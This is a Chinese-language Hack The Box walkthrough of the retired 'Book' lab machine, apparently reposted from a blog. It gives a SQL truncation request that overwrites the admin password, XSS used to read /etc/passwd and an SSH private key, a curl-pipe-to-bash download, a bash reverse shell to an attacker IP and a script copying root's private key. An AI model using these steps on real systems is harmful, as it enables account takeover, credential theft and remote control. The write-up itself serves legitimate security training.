HTB-靶机-Book
作者:互联网
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.176
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.176 -o ./Book-autorecon sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.176 或者 sudo masscan -p1-65535,U:1-65535 10.10.10.176 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') sudo nmap -Pn -sV -sC -p$ports 10.10.10.176
就开放2个端口,我们直接访问80端口
注册一个普通用户cntf@qq.com 密码是cntf 登录进去后发现有个邮箱admin@book.htb
尝试使用admin账户再次注册,发现显示已经注册了再回头看看访问页面的网页源码
function validateForm() { var x = document.forms["myForm"]["name"].value; var y = document.forms["myForm"]["email"].value; if (x == "") { alert("Please fill name field. Should not be more than 10 characters"); return false; } if (y == "") { alert("Please fill email field. Should not be more than 20 characters"); return false; } }
得知用户名和密码在前端js验证,要求name不超过10个字符,email不超过20个字符,通过测试验证得知目标靶机存在管理员用户admin,可以通过sql truncation 方式直接覆盖管理员密码登录此管理员账户,下面具体构造的请求包信息,相关资料参考:
https://resources.infosecinstitute.com/topic/sql-truncation-attack/
具体的请求代码
POST http://10.10.10.176/index.php HTTP/1.1 Host: 10.10.10.176 Content-Length: 131 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.176 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.41 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.176/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=7jrb2lpgs8i98e7v084qoinj75 Connection: close name=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20cntf&email=admin%40book.htb%20%20%20%20%20%20cntf@qq.com&password=adminadmin
上传成功之后会重置目标靶机的admin账户的密码为adminadmin 登录的邮箱是admin@book.htb
看到上面的pdf文件,下载下来是目标靶机的账户信息,测试了一把没发现啥东西,再回头登录普通用户cntf ,登录成功之后再Collections功能模块处测试发现存在xss漏洞,直接通过xss漏洞读取目标靶机的/etc/passwd 和home下的文件内容,最终得到用户reader的私钥
用户admin账户登录的权限再次刷新页面,下载pdf文件
使用上面的私钥登录到目标靶机
ssh -i book_id_rsa reader@10.10.10.176
通过linpeas收集信息
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh curl 10.10.14.16:8000/linpeas.sh | bash
得知家目录下reader下的backups目录的access.log是可写的,然后日志轮询logrotate的功能是root权限运行,那么就可以此种方式进行提权了,参考:https://github.com/whotwagner/logrotten 再判断一下运行的进程和权限
[+] Writable log files (logrotten) (limit 100) [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation Writable: /home/reader/backups/access.log.1 Writable: /home/reader/backups/access.log wget 10.10.14.16:8000/pspy64s && chmod +x pspy64s
确认可以通过logrotate的轮询方式进行提权,因为其使用root权限进行周期运行,具体操作步骤如下:
1.本地kali下载编译为一个二进制文件 git clone https://github.com/whotwagner/logrotten gcc logrotten.c -o logrotten (这里我改名为logrotate) 2.写一个反弹shell代码 #!/bin/bash bash -c "/bin/bash -i >& /dev/tcp/10.10.14.16/8833 0>&1" & 或者上面代码直接复制root用户的私钥 #!/bin/bash cp /root/.ssh/id_rsa /tmp/rootkey chown reader.reader /tmp/rootkey 保存为bookshell 3.本地kali使用python3搭建简易web提供下载功能 python3 -m http.server 4.目标靶机上下载exploit文件 wget 10.10.14.16:8000/logrotate wget 10.10.14.16:8000/bookshell chmod +x logrotate bookshell 5.触发exploit反弹shell ./logrotate -d -p bookshell /home/reader/backups/access.log echo cntf >> /home/reader/backups/access.log 上面执行完成会在 /etc/bash_completion.d/ 生成反弹shell代码等待logrotten执行 6.本地kali监听反弹端口 nc -lvnp 8833
标签:10.176,HTB,Book,20%,reader,10.10,靶机,com 来源: https://www.cnblogs.com/autopwn/p/14867051.html